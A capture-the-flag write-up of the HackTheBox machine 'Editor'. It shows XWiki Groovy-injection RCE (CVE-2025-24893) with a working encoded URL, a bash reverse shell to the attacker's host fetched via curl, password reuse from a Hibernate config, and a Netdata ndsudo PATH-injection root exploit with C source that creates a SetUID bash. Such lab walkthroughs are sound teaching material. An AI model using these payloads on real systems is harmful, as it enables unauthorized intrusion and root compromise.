Editor

Editor is a Linux box hosting a code editor website, with documentation on an XWiki instance. I’ll exploit a vulnerability in XWiki’s Solr search that allows unauthenticated Groovy script injection to get remote code execution and a shell. From there, I’ll find database credentials in the XWiki Hibernate config and pivot to a user who reuses the password. Enumerating localhost services, I’ll find NetData running an older version that installs a vulnerable ndsudo SetUID binary that is vulnerable to PATH injection, which I’ll abuse to get root.

Box Info

Name Editor Editor
Play on HackTheBox
Release Date 02 Aug 2025
Retire Date 06 Dec 2025
OS Linux Linux
Base Points Easy [20]
Rated Difficulty Rated difficulty for Editor
Radar Graph Radar chart for Editor
First Blood User 00:10:50jkr
First Blood Root 00:27:55tabo
Creators kavigihan
TheCyberGeek

Recon

Initial Scanning

nmap finds three open TCP ports, SSH (22) and two HTTP (80, 8080):

oxdf@hacky$ nmap -p- -vvv --min-rate 10000 10.10.11.80
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-09 18:01 UTC
...[snip]...
Nmap scan report for 10.10.11.80
Host is up, received echo-reply ttl 63 (0.12s latency).
Scanned at 2025-08-09 18:01:57 UTC for 16s
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE    REASON
22/tcp   open  ssh        syn-ack ttl 63
80/tcp   open  http       syn-ack ttl 63
8080/tcp open  http-proxy syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 16.11 seconds
           Raw packets sent: 153968 (6.775MB) | Rcvd: 105117 (4.205MB)
oxdf@hacky$ nmap -p 22,80,8080 -sCV 10.10.11.80
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-09 18:06 UTC
Nmap scan report for 10.10.11.80
Host is up (0.089s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editor.htb/
8080/tcp open  http    Jetty 10.0.20
| http-methods:
|_  Potentially risky methods: PROPFIND LOCK UNLOCK
|_http-server-header: Jetty(10.0.20)
| http-webdav-scan:
|   Allowed Methods: OPTIONS, GET, HEAD, PROPFIND, LOCK, UNLOCK
|   Server Type: Jetty(10.0.20)
|_  WebDAV type: Unknown
| http-title: XWiki - Main - Intro
|_Requested resource was http://10.10.11.80:8080/xwiki/bin/view/Main/
| http-cookie-flags:
|   /:
|     JSESSIONID:
|_      httponly flag not set
| http-robots.txt: 50 disallowed entries (15 shown)
| /xwiki/bin/viewattachrev/ /xwiki/bin/viewrev/
| /xwiki/bin/pdf/ /xwiki/bin/edit/ /xwiki/bin/create/
| /xwiki/bin/inline/ /xwiki/bin/preview/ /xwiki/bin/save/
| /xwiki/bin/saveandcontinue/ /xwiki/bin/rollback/ /xwiki/bin/deleteversions/
| /xwiki/bin/cancel/ /xwiki/bin/delete/ /xwiki/bin/deletespace/
|_/xwiki/bin/undelete/
|_http-open-proxy: Proxy might be redirecting requests
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.63 seconds

Based on the OpenSSH and nginx versions, the host is likely running Ubuntu 22.04 jammy [LTS].

All of the ports show a TTL of 63, which matches the expected TTL for Linux one hop away.

The website on port 80 is redirecting to editor.htb.

Subdomain Brute Force

Given the use of domain name based routing and the domain editor.htb, I’ll check for subdomains that respond differently than the default case using ffuf:

oxdf@hacky$ ffuf -u http://10.10.11.80 -H "Host: FUZZ.editor.htb" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -ac

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.11.80
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt
 :: Header           : Host: FUZZ.editor.htb
 :: Follow redirects : false
 :: Calibration      : true
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

wiki                    [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 93ms]
:: Progress: [19966/19966] :: Job [1/1] :: 447 req/sec :: Duration: [0:00:45] :: Errors: 0 ::

I’ll add both editor.htb and the wiki subdomain to my /etc/hosts file:

10.10.11.80 editor.htb wiki.editor.htb

I’ll rerun nmap on each domain to see if anything else jumps out. It seems the wiki subdomain may just be nginx proxying to the 8080 port:

oxdf@hacky$ nmap -p 80,8080 -sCV wiki.editor.htb
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-09 18:13 UTC
Nmap scan report for wiki.editor.htb (10.10.11.80)
Host is up (0.089s latency).

PORT     STATE SERVICE VERSION
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-title: XWiki - Main - Intro
|_Requested resource was http://wiki.editor.htb/xwiki/bin/view/Main/
| http-methods:
|_  Potentially risky methods: PROPFIND LOCK UNLOCK
| http-cookie-flags:
|   /:
|     JSESSIONID:
|_      httponly flag not set
| http-webdav-scan:
|   Server Type: nginx/1.18.0 (Ubuntu)
|   Server Date: Sat, 09 Aug 2025 11:12:48 GMT
|   Allowed Methods: OPTIONS, GET, HEAD, PROPFIND, LOCK, UNLOCK
|_  WebDAV type: Unknown
| http-robots.txt: 50 disallowed entries (15 shown)
| /xwiki/bin/viewattachrev/ /xwiki/bin/viewrev/
| /xwiki/bin/pdf/ /xwiki/bin/edit/ /xwiki/bin/create/
| /xwiki/bin/inline/ /xwiki/bin/preview/ /xwiki/bin/save/
| /xwiki/bin/saveandcontinue/ /xwiki/bin/rollback/ /xwiki/bin/deleteversions/
| /xwiki/bin/cancel/ /xwiki/bin/delete/ /xwiki/bin/deletespace/
|_/xwiki/bin/undelete/
8080/tcp open  http    Jetty 10.0.20
|_http-open-proxy: Proxy might be redirecting requests
| http-cookie-flags:
|   /:
|     JSESSIONID:
|_      httponly flag not set
| http-methods:
|_  Potentially risky methods: PROPFIND LOCK UNLOCK
| http-webdav-scan:
|   Server Type: Jetty(10.0.20)
|   Allowed Methods: OPTIONS, GET, HEAD, PROPFIND, LOCK, UNLOCK
|_  WebDAV type: Unknown
|_http-server-header: Jetty(10.0.20)
| http-robots.txt: 50 disallowed entries (15 shown)
| /xwiki/bin/viewattachrev/ /xwiki/bin/viewrev/
| /xwiki/bin/pdf/ /xwiki/bin/edit/ /xwiki/bin/create/
| /xwiki/bin/inline/ /xwiki/bin/preview/ /xwiki/bin/save/
| /xwiki/bin/saveandcontinue/ /xwiki/bin/rollback/ /xwiki/bin/deleteversions/
| /xwiki/bin/cancel/ /xwiki/bin/delete/ /xwiki/bin/deletespace/
|_/xwiki/bin/undelete/
| http-title: XWiki - Main - Intro
|_Requested resource was http://wiki.editor.htb:8080/xwiki/bin/view/Main/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.12 seconds

editor.htb - TCP 80

Site

The site is for a code editor:

image-20250809071436791 expand

Looking around the site, the “Docs” link goes to http://wiki.editor.htb/xwiki/.

The “About” link changes the URL to /about, but doesn’t make any new web requests.

The email address contact@editor.htb shows up in a few places.

There’s downloads for Linux and Windows:

image-20250809072647962

Tech Stack

The website is behind nginx, but it’s not clear what framework is in use there. The HTTP response headers don’t give any clues:

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 09 Aug 2025 11:28:07 GMT
Content-Type: text/html
Last-Modified: Sun, 15 Jun 2025 06:18:30 GMT
Connection: keep-alive
ETag: W/"684e65b6-277"
Content-Length: 631

The 404 page is the default nginx 404:

image-20250809072746867

Loading /index.html does return a partial broken page with the headers and footers kind of overlapping:

image-20250809072838022

Looking at the JavaScript sources, it claims to be React:

image-20250809072950861

Wappalyzer agrees:

image-20250809073025397

Directory Brute Force

I’ll run feroxbuster against the site, and include -x html since I’ve seen there’s at least an index.html file:

oxdf@hacky$ feroxbuster -u http://editor.htb -x html

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://editor.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🔎  Extract Links         │ true
 💲  Extensions            │ [html]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        7l       12w      162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET        1l      477w    16052c http://editor.htb/assets/index-DzxC4GL5.css
301      GET        7l       12w      178c http://editor.htb/assets => http://editor.htb/assets/
200      GET      147l     5460w   190349c http://editor.htb/assets/index-VRKEJlit.js
200      GET       15l       55w      631c http://editor.htb/
403      GET        7l       10w      162c http://editor.htb/assets/
200      GET       15l       55w      631c http://editor.htb/index.html
[####################] - 2m     60004/60004   0s      found:6       errors:0
[####################] - 2m     30000/30000   278/s   http://editor.htb/ 
[####################] - 2m     30000/30000   279/s   http://editor.htb/assets/ 

Nothing interesting at all.

wiki.editor.htb - TCP 80 / 8080

Site

Visiting editor.htb:8080 or 10.10.11.80:8080 or wiki.editor.htb all return the same site, which is the Wiki docs for the SimplistCode Pro software:

image-20250809073530144

There’s not a ton of pages, only the main page and the installation instructions.

Tech Stack

The site is running on XWiki. The HTTP response headers when visited on 8080 shows a Server header of Jetty, which is consistent with XWiki being built on Java:

HTTP/1.1 200 OK
Content-Script-Type: text/javascript
Set-Cookie: JSESSIONID=node01l94awsavstrj11849qq567mnm14.node0; Path=/xwiki
Expires: Wed, 31 Dec 1969 23:59:59 GMT
Content-Language: en
Content-Type: text/html;charset=utf-8
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 32246
Server: Jetty(10.0.20)

The page footer has the version XWiki Debian 15.10.8.

Shell as xwiki

CVE-2025-24893 Background

I’ll start by searching for vulnerabilities in this version of XWiki. When I search for “xwiki debian 15.10.8 cve”, a hit from NIST comes back about CVE-2025-24893:

image-20250809074246832

This security advisory on GitHub has more details:

Impact

Any guest can perform arbitrary remote code execution through a request to SolrSearch. This impacts the confidentiality, integrity and availability of the whole XWiki installation.

To reproduce on an instance, without being logged in, go to <host>/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28"Hello%20from"%20%2B%20"%20search%20text%3A"%20%2B%20%2823%20%2B%2019%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20. If there is an output, and the title of the RSS feed contains Hello from search text:42, then the instance is vulnerable.

Patches

This vulnerability has been patched in XWiki 15.10.11, 16.4.1 and 16.5.0RC1.

Given that Editor is running 15.10.8, it should be vulnerable to this exploit, patched in 15.10.11.

Looking at the POC in the description, it is a path on the server to visit with a URL-encoded injection in the text argument. The payload decodes to:

}}}{{async async=false}}{{groovy}}println("Hello from" + " search text:" + (23 + 19)){{/groovy}}{{/async}}

It looks like some kind of templating injection where code inside {{groovy}} runs as Groovy script.

POC

I’ll build the following URL by combining http://wiki.editor.htb with the POC:

http://wiki.editor.htb/xwiki/bin/view/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22Hello%20from%22%20%2B%20%22%20search%20text%3A%22%20%2B%20%2823%20%2B%2019%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20

The Groovy command in there generates the text string “Hello from search text:42”. When I paste this into Firefox, it downloads a file:

image-20250809152913922

Clicking on it opens in Firefox, and there’s my text in the title:

image-20250809152940526

That’s RCE.

Shell

Execute

The POC above used Groovy to create a string, but I want to execute system commands. Some searching leads me to this StackOverflow post:

image-20250809153401141

That’s exactly what I want. I’ll update the bit inside the println call to "id".execute().text. To do that, I’ll send the previous request to Burp Repeater:

image-20250809153517165

I’ll select the green stuff after “text=” and push Ctrl-Shift-u to URL decode it:

image-20250809153603417

I’ll update the command:

image-20250809153630900

And then select everything between the “=” and the last space before “HTTP” and right click –> Convert selection –> URL –> URL-encode all characters:

image-20250809154029557

If I Ctrl-u or “URL-encode key characters”, it will change the spaces to “+” rather than “%20”, which will cause a 500 error on the server. The resulting request looks like:

image-20250809154132088

It should end with an encoded space, “%20”. On sending that, the response has the id output in it:

image-20250809154209132

Shell

My first attempt is always to try a bash reverse shell, but I couldn’t get it to work here. A lot of times languages like Java and Groovy don’t handle redirects and pipes inside command execution, and this shell is full of them.

I’ll create a simple reverse shell in a file on my host called rev:

#!/bin/bash

bash -i >& /dev/tcp/10.10.14.6/443 0>&1

Now I’ll try the command curl http://10.10.14.6/rev|bash. I’ll start a Python webserver in the directory with rev (sudo python -m http.server 80), and send the command. There are requests at the webserver:

10.10.11.80 - - [10/Aug/2025 02:52:49] code 404, message File not found
10.10.11.80 - - [10/Aug/2025 02:52:49] "GET /rev|bash HTTP/1.1" 404 -
10.10.11.80 - - [10/Aug/2025 02:52:50] code 404, message File not found
10.10.11.80 - - [10/Aug/2025 02:52:50] "GET /rev|bash HTTP/1.1" 404 -

It’s treating the pipe character as part of the file. This is an example of Groovy not handling pipes.

I’ll try curl http://10.10.14.6/rev -o /dev/shm/rev instead. It successfully gets the file twice:

10.10.11.80 - - [10/Aug/2025 02:54:27] "GET /rev HTTP/1.1" 200 -
10.10.11.80 - - [10/Aug/2025 02:54:28] "GET /rev HTTP/1.1" 200 -

Now I just update my command to bash /dev/shm/rev. As soon as I send it, there’s a connection at nc:

oxdf@hacky$ sudo nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.80 41732
bash: cannot set terminal process group (1065): Inappropriate ioctl for device
bash: no job control in this shell
xwiki@editor:/usr/lib/xwiki-jetty$ 

I’ll perform a shell upgrade:

xwiki@editor:/usr/lib/xwiki-jetty$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
xwiki@editor:/usr/lib/xwiki-jetty$ ^Z
[1]+  Stopped                 nc -lnvp 443
oxdf@hacky$ stty raw -echo; fg
nc -lnvp 443
reset
reset: unknown terminal type unknown
Terminal type? screen
xwiki@editor:/usr/lib/xwiki-jetty$ 

That’s a shell as xwiki on Editor.

Shell as oliver on Editor

Enumeration

Users

The xwiki user’s home directory is /var/lib/xwiki. I’ll check /home, and there’s one user with a home directory there:

xwiki@editor:/home$ ls
oliver

Unsurprisingly, the xwiki user doesn’t have access. This does match the user’s with shells configured in passwd:

xwiki@editor:~$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
oliver:x:1000:1000:,,,:/home/oliver:/bin/bash

XWiki Config

XWiki is configured from /etc/xwiki:

xwiki@editor:/etc/xwiki$ ls
cache                           jetty-ee8-web.xml  version.properties
extensions                      jetty-web.xml      web.xml
fonts                           logback.xml        xwiki.cfg
hibernate.cfg.xml               observation        xwiki-locales.txt
hibernate.cfg.xml.ucf-dist      portlet.xml        xwiki.properties
jboss-deployment-structure.xml  sun-web.xml        xwiki-tomcat9.xml

Hibernate is a Java ORM (maps the programming language / framework to the database).

hibernate.cfg.xml is a large file, but the interesting part is:

...[snip]...
    <!-- Configuration for the default database.
         Comment out this section and uncomment other sections below if you want to use another database.        
         Note that the database tables will be created automatically if they don't already exist.

         If you want the main wiki database to be different than "xwiki" (or the default schema for schema based      
         engines) you will also have to set the property xwiki.db in xwiki.cfg file                         
    -->
    <property name="hibernate.connection.url">jdbc:mysql://localhost/xwiki?useSSL=false&amp;connectionTimeZone=LOCAL&a
mp;allowPublicKeyRetrieval=true</property>
    <property name="hibernate.connection.username">xwiki</property>
    <property name="hibernate.connection.password">theEd1t0rTeam99</property>
    <property name="hibernate.connection.driver_class">com.mysql.cj.jdbc.Driver</property>
    <property name="hibernate.dbcp.poolPreparedStatements">true</property>
    <property name="hibernate.dbcp.maxOpenPreparedStatements">20</property>

    <property name="hibernate.connection.charSet">UTF-8</property>            
    <property name="hibernate.connection.useUnicode">true</property>
    <property name="hibernate.connection.characterEncoding">utf8</property>  

    <mapping resource="xwiki.hbm.xml"/>
    <mapping resource="feeds.hbm.xml"/>
    <mapping resource="instance.hbm.xml"/>
    <mapping resource="notification-filter-preferences.hbm.xml"/>
    <mapping resource="mailsender.hbm.xml"/>
...[snip]...

This is the database connection information. It’s a MySQL connection on localhost with the user xwiki and the password “theEd1t0rTeam99”.

I can use this to connect to the database and check it out, but it’s pretty empty, and I don’t need to.

SSH

I know of two users and one password. I’ll check each to see if they happen to share this password, and oliver does!

oxdf@hacky$ netexec ssh editor.htb -u root -p theEd1t0rTeam99
SSH         10.10.11.80     22     editor.htb       [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.13
SSH         10.10.11.80     22     editor.htb       [-] root:theEd1t0rTeam99
oxdf@hacky$ netexec ssh editor.htb -u oliver -p theEd1t0rTeam99
SSH         10.10.11.80     22     editor.htb       [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.13
SSH         10.10.11.80     22     editor.htb       [+] oliver:theEd1t0rTeam99  Linux - Shell access!

I’ll connect:

oxdf@hacky$ sshpass -p theEd1t0rTeam99 ssh oliver@editor.htb
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-151-generic x86_64)
...[snip]...
oliver@editor:~$ 

I’ll grab user.txt:

oliver@editor:~$ cat user.txt
217c09e4************************

Interestingly, su doesn’t work here:

xwiki@editor:$ su - oliver
Password: 
su: Authentication failure

I’ll look at this in Beyond Root.

Shell as root

Enumeration

Home Directory

oliver’s home directory is basically empty:

oliver@editor:~$ ls -la
total 28
drwxr-x--- 3 oliver oliver 4096 Jul  8 08:34 .
drwxr-xr-x 3 root   root   4096 Jul  8 08:34 ..
lrwxrwxrwx 1 root   root      9 Jul  1 19:19 .bash_history -> /dev/null
-rw-r--r-- 1 oliver oliver  220 Jun 13 09:45 .bash_logout
-rw-r--r-- 1 oliver oliver 3771 Jun 13 09:45 .bashrc
drwx------ 2 oliver oliver 4096 Jul  8 08:34 .cache
-rw-r--r-- 1 oliver oliver  807 Jun 13 09:45 .profile
-rw-r----- 1 root   oliver   33 Jun 19 12:06 user.txt

Network

I’ll look at listening ports:

oliver@editor:~$ ss -tnl
State        Recv-Q       Send-Q                  Local Address:Port              Peer Address:Port      Process      
LISTEN       0            4096                        127.0.0.1:19999                  0.0.0.0:*                      
LISTEN       0            4096                        127.0.0.1:8125                   0.0.0.0:*                      
LISTEN       0            511                           0.0.0.0:80                     0.0.0.0:*                      
LISTEN       0            128                           0.0.0.0:22                     0.0.0.0:*                      
LISTEN       0            151                         127.0.0.1:3306                   0.0.0.0:*                      
LISTEN       0            4096                        127.0.0.1:43143                  0.0.0.0:*                      
LISTEN       0            70                          127.0.0.1:33060                  0.0.0.0:*                      
LISTEN       0            4096                    127.0.0.53%lo:53                     0.0.0.0:*                      
LISTEN       0            50                 [::ffff:127.0.0.1]:8079                         *:*                      
LISTEN       0            511                              [::]:80                        [::]:*                      
LISTEN       0            128                              [::]:22                        [::]:*                      
LISTEN       0            50                                  *:8080                         *:* 

There are a few listening on localhost only. I’ll poke at 19999, 8125, and 43143. 3306 is the XWiki MySQL connection, and 33060 is likely related.

Tunnels

I’ll use SSH tunnels to create tunnels to these ports. For just three ports, I can create them individually:

oxdf@hacky$ sshpass -p theEd1t0rTeam99 ssh oliver@editor.htb -L 19999:localhost:19999 -L 8125:localhost:8125 -L 43143:localhost:43143
...[snip]...
oliver@editor:~$

Each -L option creates a tunnel from the first port on my host to the same port on localhost on Editor.

TCP 43143

Visiting http://localhost:43143/ in my browser returns a 404 page

image-20250809164020053

The source shows it’s literally just this text (no HTML).

I can run feroxbuster against it to brute force any additional paths (feroxbuster -u http://localhost:43143), but it doesn’t find anything.

TCP 8125

Typically with an unknown port I’ll try curl and nc. curl hangs on both http and https. nc connections, but then does nothing no matter what I send. This remains unknown.

TCP 19999

Visiting localhost:19999 in Firefox shows a dashboard:

image-20250809164332706

Clicking the “Sign in” button loads a legit page on the real NetData site (not on the HTB Editor machine):

image-20250809164409800

I don’t want to mess with this real page, but it does identify what I’m dealing with. NetData is a infrastructure monitoring solution.

There’s a banner across the top of the dashboard on Editor saying that this node is out of date, and the warning symbol at the top right, when clicked on, shows the details:

image-20250809164543515

Editor is running 1.45.2. I can also find this version using the netdata binary on Editor:

oliver@editor:~$ /opt/netdata/bin/netdata -W buildinfo
Packaging:
    Netdata Version ____________________________________________ : v1.45.2
    Installation Type __________________________________________ : manual-static
    Package Architecture _______________________________________ : x86_64
    Package Distro _____________________________________________ : unknown
    Configure Options __________________________________________ : dummy-configure-command
Default Directories:
    User Configurations ________________________________________ : /opt/netdata/etc/netdata
    Stock Configurations _______________________________________ : /opt/netdata/usr/lib/netdata/conf.d
    Ephemeral Databases (metrics data, metadata) _______________ : /opt/netdata/var/cache/netdata
    Permanent Databases ________________________________________ : /opt/netdata/var/lib/netdata
    Plugins ____________________________________________________ : /opt/netdata/usr/libexec/netdata/plugins.d
    Static Web Files ___________________________________________ : /opt/netdata/usr/share/netdata/web
    Log Files __________________________________________________ : /opt/netdata/var/log/netdata
    Lock Files _________________________________________________ : /opt/netdata/var/lib/netdata/lock
    Home _______________________________________________________ : /opt/netdata/var/lib/netdata
Operating System:
    Kernel _____________________________________________________ : Linux
    Kernel Version _____________________________________________ : 5.15.0-151-generic
    Operating System ___________________________________________ : Ubuntu
    Operating System ID ________________________________________ : ubuntu
    Operating System ID Like ___________________________________ : debian
    Operating System Version ___________________________________ : 22.04.5 LTS (Jammy Jellyfish)
    Operating System Version ID ________________________________ : none
    Detection __________________________________________________ : /etc/os-release
Hardware:
    CPU Cores __________________________________________________ : 2
    CPU Frequency ______________________________________________ : 2994000000
    RAM Bytes __________________________________________________ : 4101853184
    Disk Capacity ______________________________________________ : 9663676416
    CPU Architecture ___________________________________________ : x86_64
    Virtualization Technology __________________________________ : vmware
    Virtualization Detection ___________________________________ : systemd-detect-virt
Container:
    Container __________________________________________________ : none
    Container Detection ________________________________________ : systemd-detect-virt
    Container Orchestrator _____________________________________ : none
    Container Operating System _________________________________ : none
    Container Operating System ID ______________________________ : none
    Container Operating System ID Like _________________________ : none
    Container Operating System Version _________________________ : none
    Container Operating System Version ID ______________________ : none
    Container Operating System Detection _______________________ : none
Features:
    Built For __________________________________________________ : Linux
    Netdata Cloud ______________________________________________ : YES
    Health (trigger alerts and send notifications) _____________ : YES
    Streaming (stream metrics to parent Netdata servers) _______ : YES
    Back-filling (of higher database tiers) ____________________ : YES
    Replication (fill the gaps of parent Netdata servers) ______ : YES
    Streaming and Replication Compression ______________________ : YES (zstd lz4 gzip)
    Contexts (index all active and archived metrics) ___________ : YES
    Tiering (multiple dbs with different metrics resolution) ___ : YES (5)
    Machine Learning ___________________________________________ : YES
Database Engines:
    dbengine ___________________________________________________ : YES
    alloc ______________________________________________________ : YES
    ram ________________________________________________________ : YES
    none _______________________________________________________ : YES
Connectivity Capabilities:
    ACLK (Agent-Cloud Link: MQTT over WebSockets over TLS) _____ : YES
    static (Netdata internal web server) _______________________ : YES
    h2o (web server) ___________________________________________ : YES
    WebRTC (experimental) ______________________________________ : NO
    Native HTTPS (TLS Support) _________________________________ : YES
    TLS Host Verification ______________________________________ : YES
Libraries:
    LZ4 (extremely fast lossless compression algorithm) ________ : YES
    ZSTD (fast, lossless compression algorithm) ________________ : YES
    zlib (lossless data-compression library) ___________________ : YES
    Brotli (generic-purpose lossless compression algorithm) ____ : NO
    protobuf (platform-neutral data serialization protocol) ____ : YES (system)
    OpenSSL (cryptography) _____________________________________ : YES
    libdatachannel (stand-alone WebRTC data channels) __________ : NO
    JSON-C (lightweight JSON manipulation) _____________________ : YES
    libcap (Linux capabilities system operations) ______________ : NO
    libcrypto (cryptographic functions) ________________________ : YES
    libyaml (library for parsing and emitting YAML) ____________ : YES
Plugins:
    apps (monitor processes) ___________________________________ : YES
    cgroups (monitor containers and VMs) _______________________ : YES
    cgroup-network (associate interfaces to CGROUPS) ___________ : YES
    proc (monitor Linux systems) _______________________________ : YES
    tc (monitor Linux network QoS) _____________________________ : YES
    diskspace (monitor Linux mount points) _____________________ : YES
    freebsd (monitor FreeBSD systems) __________________________ : NO
    macos (monitor MacOS systems) ______________________________ : NO
    statsd (collect custom application metrics) ________________ : YES
    timex (check system clock synchronization) _________________ : YES
    idlejitter (check system latency and jitter) _______________ : YES
    bash (support shell data collection jobs - charts.d) _______ : YES
    debugfs (kernel debugging metrics) _________________________ : YES
    cups (monitor printers and print jobs) _____________________ : NO
    ebpf (monitor system calls) ________________________________ : YES
    freeipmi (monitor enterprise server H/W) ___________________ : NO
    nfacct (gather netfilter accounting) _______________________ : YES
    perf (collect kernel performance events) ___________________ : YES
    slabinfo (monitor kernel object caching) ___________________ : YES
    Xen ________________________________________________________ : NO
    Xen VBD Error Tracking _____________________________________ : NO
    Logs Management ____________________________________________ : NO
Exporters:
    AWS Kinesis ________________________________________________ : NO
    GCP PubSub _________________________________________________ : NO
    MongoDB ____________________________________________________ : NO
    Prometheus (OpenMetrics) Exporter __________________________ : YES
    Prometheus Remote Write ____________________________________ : YES
    Graphite ___________________________________________________ : YES
    Graphite HTTP / HTTPS ______________________________________ : YES
    JSON _______________________________________________________ : YES
    JSON HTTP / HTTPS __________________________________________ : YES
    OpenTSDB ___________________________________________________ : YES
    OpenTSDB HTTP / HTTPS ______________________________________ : YES
    All Metrics API ____________________________________________ : YES
    Shell (use metrics in shell scripts) _______________________ : YES
Debug/Developer Features:
    Trace All Netdata Allocations (with charts) ________________ : NO
    Developer Mode (more runtime checks, slower) _______________ : NO

CVE-2024-32019

Identify / Background

Searching for “netdata 1.45.2 cve” returns multiple references to CVE-2024-32019:

image-20250809165559882

NIST describes CVE-2024-32019 as:

Netdata is an open source observability tool. In affected versions the ndsudo tool shipped with affected versions of the Netdata Agent allows an attacker to run arbitrary programs with root permissions. The ndsudo tool is packaged as a root-owned executable with the SUID bit set. It only runs a restricted set of external commands, but its search paths are supplied by the PATH environment variable. This allows an attacker to control where ndsudo looks for these commands, which may be a path the attacker has write access to. This may lead to local privilege escalation. This vulnerability has been addressed in versions 1.45.3 and 1.45.2-169. Users are advised to upgrade. There are no known workarounds for this vulnerability.

Basically, NetData ships with a copy of ndsudo owned by root and set as SetUID (so it runs as root regardless of who runs it). The vulnerability is fixed in 1.45.3, the version after what’s on Editor.

Exploit

There are POCs available, but I have enough in the description to try to figure it out myself. First, I’ll look for the file:

oliver@editor:~$ which ndsudo
oliver@editor:~$ find / -name ndsudo 2>/dev/null
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo

It’s not in oliver’s path, but find finds it very quickly. It is configured to run as root using SetUID:

oliver@editor:~$ ls -l /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo
-rwsr-x--- 1 root netdata 200576 Apr  1  2024 /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo

The s in the first execute place says that this binary will run as the owner of the binary rather than the user who starts the process..

Running it with -h shows the help menu:

oliver@editor:~$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo -h

ndsudo

(C) Netdata Inc.

A helper to allow Netdata run privileged commands.

  --test
    print the generated command that will be run, without running it.

  --help
    print this message.

The following commands are supported:

- Command    : nvme-list
  Executables: nvme 
  Parameters : list --output-format=json

- Command    : nvme-smart-log
  Executables: nvme 
  Parameters : smart-log  --output-format=json

- Command    : megacli-disk-info
  Executables: megacli MegaCli 
  Parameters : -LDPDInfo -aAll -NoLog

- Command    : megacli-battery-info
  Executables: megacli MegaCli 
  Parameters : -AdpBbuCmd -aAll -NoLog

- Command    : arcconf-ld-info
  Executables: arcconf 
  Parameters : GETCONFIG 1 LD

- Command    : arcconf-pd-info
  Executables: arcconf 
  Parameters : GETCONFIG 1 PD

The program searches for executables in the system path.

Variables given as  are expected on the command line as:
  --variable VALUE

VALUE can include space, A-Z, a-z, 0-9, _, -, /, and .

There are six commands, each of which use a specific binary and have parameters. There’s a --test flag that just prints the command that would be run. I’ll give that a go:

oliver@editor:~$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list --test
nvme : not available in PATH.

It can’t even generate the command because it can’t find an nvme binary.

The vulnerability description says that I can exploit this by setting the PATH variable. It’s almost certainly going to run a binary with commands I don’t control, so I’ll make a small C program to do what I want:

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>

int main() {
    setuid(0);
    seteuid(0);
    setgid(0);
    setegid(0);
    system("cp /bin/bash /tmp/0xdf; chown root:root /tmp/0xdf; chmod 6777 /tmp/0xdf");
}

